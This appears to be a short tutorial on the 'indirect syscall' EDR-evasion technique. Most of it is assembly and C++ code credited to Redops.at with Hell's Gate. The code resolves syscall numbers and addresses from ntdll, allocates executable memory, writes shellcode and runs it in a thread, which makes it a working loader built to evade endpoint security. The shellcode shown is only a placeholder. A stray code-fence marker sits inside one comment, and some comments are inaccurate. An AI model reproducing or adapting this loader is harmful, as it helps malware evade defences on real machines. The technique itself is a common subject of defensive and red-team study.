The indirect syscall technique is more or less an evolution of the direct syscall technique. Compared to direct syscalls, indirect syscalls can solve the following EDR evasion problems.
The execution of the syscall command takes place within the memory of the ntdll.dll and is therfore legitimate for the EDR, and the return statement also takes place within the moemory of the ntdll.dll.
Example code of Redops.at with Hell's Gate:
-
syscalls.asm:EXTERN wNtAllocateVirtualMemory:DWORD ; Extern keyword indicates that the symbol is defined in another module. Here it's the syscall number for NtAllocateVirtualMemory. EXTERN sysAddrNtAllocateVirtualMemory:QWORD ; The actual address of the NtAllocateVirtualMemory syscall in ntdll.dll. EXTERN wNtWriteVirtualMemory:DWORD ; Syscall number for NtWriteVirtualMemory. EXTERN sysAddrNtWriteVirtualMemory:QWORD ; The actual address of the NtWriteVirtualMemory syscall in ntdll.dll. EXTERN wNtCreateThreadEx:DWORD ; Syscall number for NtCreateThreadEx. EXTERN sysAddrNtCreateThreadEx:QWORD ; The actual address of the NtCreateThreadEx syscall in ntdll.dll. EXTERN wNtWaitForSingleObject:DWORD ; Syscall number for NtWaitForSingleObject. EXTERN sysAddrNtWaitForSingleObject:QWORD ; The actual address of the NtWaitForSingleObject syscall in ntdll.dll. .CODE ; Start the code section ; Procedure for the NtAllocateVirtualMemory syscall NtAllocateVirtualMemory PROC mov r10, rcx ; Move the contents of rcx to r10. This is necessary because the syscall instruction in 64-bit Windows expects the parameters to be in the r10 and rdx registers. mov eax, wNtAllocateVirtualMemory ; Move the syscall number into the eax register. jmp QWORD PTR [sysAddrNtAllocateVirtualMemory] ; Jump to the actual syscall. NtAllocateVirtualMemory ENDP ; End of the procedure. ; Similar procedures for NtWriteVirtualMemory syscalls NtWriteVirtualMemory PROC mov r10, rcx mov eax, wNtWriteVirtualMemory jmp QWORD PTR [sysAddrNtWriteVirtualMemory] NtWriteVirtualMemory ENDP ; Similar procedures for NtCreateThreadEx syscalls NtCreateThreadEx PROC mov r10, rcx mov eax, wNtCreateThreadEx jmp QWORD PTR [sysAddrNtCreateThreadEx] NtCreateThreadEx ENDP ; Similar procedures for NtWaitForSingleObject syscalls NtWaitForSingleObject PROC mov r10, rcx mov eax, wNtWaitForSingleObject jmp QWORD PTR [sysAddrNtWaitForSingleObject] NtWaitForSingleObject ENDP END -
indirectsyscall.cpp:
#ifndef _SYSCALLS_H // If _SYSCALLS_H is not defined then define it and the contents below. This is to prevent double inclusion.
#define _SYSCALLS_H // Define _SYSCALLS_H
#include <windows.h> // Include the Windows API header
#include <stdio.h>
#ifdef __cplusplus // If this header file is included in a C++ file, then this section will be true
extern "C" { // This is to ensure that the names of the functions are not mangled by the C++ compiler and are in C linkage format
#endif
// The type NTSTATUS is typically defined in the Windows headers as a long.
typedef long NTSTATUS; // Define NTSTATUS as a long
typedef NTSTATUS* PNTSTATUS; // Define a pointer to NTSTATUS
// Declare the function prototype for NtAllocateVirtualMemory
extern NTSTATUS NtAllocateVirtualMemory(
HANDLE ProcessHandle, // Handle to the process in which to allocate the memory
PVOID* BaseAddress, // Pointer to the base address
ULONG_PTR ZeroBits, // Number of high-order address bits that must be zero in the base address of the section view
PSIZE_T RegionSize, // Pointer to the size of the region
ULONG AllocationType, // Type of allocation
ULONG Protect // Memory protection for the region of pages
);
// Declare the function prototype for NtWriteVirtualMemory
extern NTSTATUS NtWriteVirtualMemory(
HANDLE ProcessHandle, // Handle to the process in which to write the memory
PVOID BaseAddress, // Pointer to the base address
PVOID Buffer, // Buffer containing data to be written
SIZE_T NumberOfBytesToWrite, // Number of bytes to be written
PULONG NumberOfBytesWritten // Pointer to the variable that receives the number of bytes written
);
// Declare the function prototype for NtCreateThreadEx
extern NTSTATUS NtCreateThreadEx(
PHANDLE ThreadHandle, // Pointer to a variable that receives a handle to the new thread
ACCESS_MASK DesiredAccess, // Desired access to the thread
PVOID ObjectAttributes, // Pointer to an OBJECT_ATTRIBUTES structure that specifies the object's attributes
HANDLE ProcessHandle, // Handle to the process in which the thread is to be created
PVOID lpStartAddress, // Pointer to the application-defined function of type LPTHREAD_START_ROUTINE to be executed by the thread
PVOID lpParameter, // Pointer to a variable to be passed to the thread
ULONG Flags, // Flags that control the creation of the thread
SIZE_T StackZeroBits, // A pointer to a variable that specifies the number of high-order address bits that must be zero in the stack pointer
SIZE_T SizeOfStackCommit, // The size of the stack that must be committed at thread creation
SIZE_T SizeOfStackReserve, // The size of the stack that must be reserved at thread creation
PVOID lpBytesBuffer // Pointer to a variable that receives any output data from the system
);
// Declare the function prototype for NtWaitForSingleObject
extern NTSTATUS NtWaitForSingleObject(
HANDLE Handle, // Handle to the object to be waited on
BOOLEAN Alertable, // If set to TRUE, the function returns when the system queues an I/O completion routine or APC for the thread
PLARGE_INTEGER Timeout // Pointer to a LARGE_INTEGER that specifies the absolute```c
// or relative time at which the function should return, regardless of the state of the object
);
#ifdef __cplusplus // End of the 'extern "C"' block if __cplusplus was defined
}
#endif
#endif // _SYSCALLS_H // End of the _SYSCALLS_H definition
// Declare global variables to hold syscall numbers and syscall instruction addresses
DWORD wNtAllocateVirtualMemory;
UINT_PTR sysAddrNtAllocateVirtualMemory;
DWORD wNtWriteVirtualMemory;
UINT_PTR sysAddrNtWriteVirtualMemory;
DWORD wNtCreateThreadEx;
UINT_PTR sysAddrNtCreateThreadEx;
DWORD wNtWaitForSingleObject;
UINT_PTR sysAddrNtWaitForSingleObject;
int main() {
PVOID allocBuffer = NULL; // Declare a pointer to the buffer to be allocated
SIZE_T buffSize = 0x1000; // Declare the size of the buffer (4096 bytes)
// Get a handle to the ntdll.dll library
HANDLE hNtdll = GetModuleHandleA("ntdll.dll");
// Declare and initialize a pointer to the NtAllocateVirtualMemory function and get the address of the NtAllocateVirtualMemory function in the ntdll.dll module
UINT_PTR pNtAllocateVirtualMemory = (UINT_PTR)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
// Read the syscall number from the NtAllocateVirtualMemory function in ntdll.dll
// This is typically located at the 4th byte of the function
wNtAllocateVirtualMemory = ((unsigned char*)(pNtAllocateVirtualMemory + 4))[0];
// The syscall stub (actual system call instruction) is some bytes further into the function.
// In this case, it's assumed to be 0x12 (18 in decimal) bytes from the start of the function.
// So we add 0x12 to the function's address to get the address of the system call instruction.
sysAddrNtAllocateVirtualMemory = pNtAllocateVirtualMemory + 0x12;
UINT_PTR pNtWriteVirtualMemory = (UINT_PTR)GetProcAddress(hNtdll, "NtWriteVirtualMemory");
wNtWriteVirtualMemory = ((unsigned char*)(pNtWriteVirtualMemory + 4))[0];
sysAddrNtWriteVirtualMemory = pNtWriteVirtualMemory + 0x12;
UINT_PTR pNtCreateThreadEx = (UINT_PTR)GetProcAddress(hNtdll, "NtCreateThreadEx");
wNtCreateThreadEx = ((unsigned char*)(pNtCreateThreadEx + 4))[0];
sysAddrNtCreateThreadEx = pNtCreateThreadEx + 0x12;
UINT_PTR pNtWaitForSingleObject = (UINT_PTR)GetProcAddress(hNtdll, "NtWaitForSingleObject");
wNtWaitForSingleObject = ((unsigned char*)(pNtWaitForSingleObject + 4))[0];
sysAddrNtWaitForSingleObject = pNtWaitForSingleObject + 0x12;
// Use the NtAllocateVirtualMemory function to allocate memory for the shellcode
NtAllocateVirtualMemory((HANDLE)-1, (PVOID*)&allocBuffer, (ULONG_PTR)0, &buffSize, (ULONG)(MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);
// Define the shellcode to be injected
unsigned char shellcode[] = "\xfc\x48\x83";
ULONG bytesWritten;
// Use the NtWriteVirtualMemory function to write the shellcode into the allocated memory
NtWriteVirtualMemory(GetCurrentProcess(), allocBuffer, shellcode, sizeof(shellcode), &bytesWritten);
HANDLE hThread;
// Use the NtCreateThreadEx function to create a new thread that starts executing the shellcode
NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, GetCurrentProcess(), (LPTHREAD_START_ROUTINE)allocBuffer, NULL, FALSE, 0, 0, 0, NULL);
// Use the NtWaitForSingleObject function to wait for the new thread to finish executing
NtWaitForSingleObject(hThread, FALSE, NULL);
}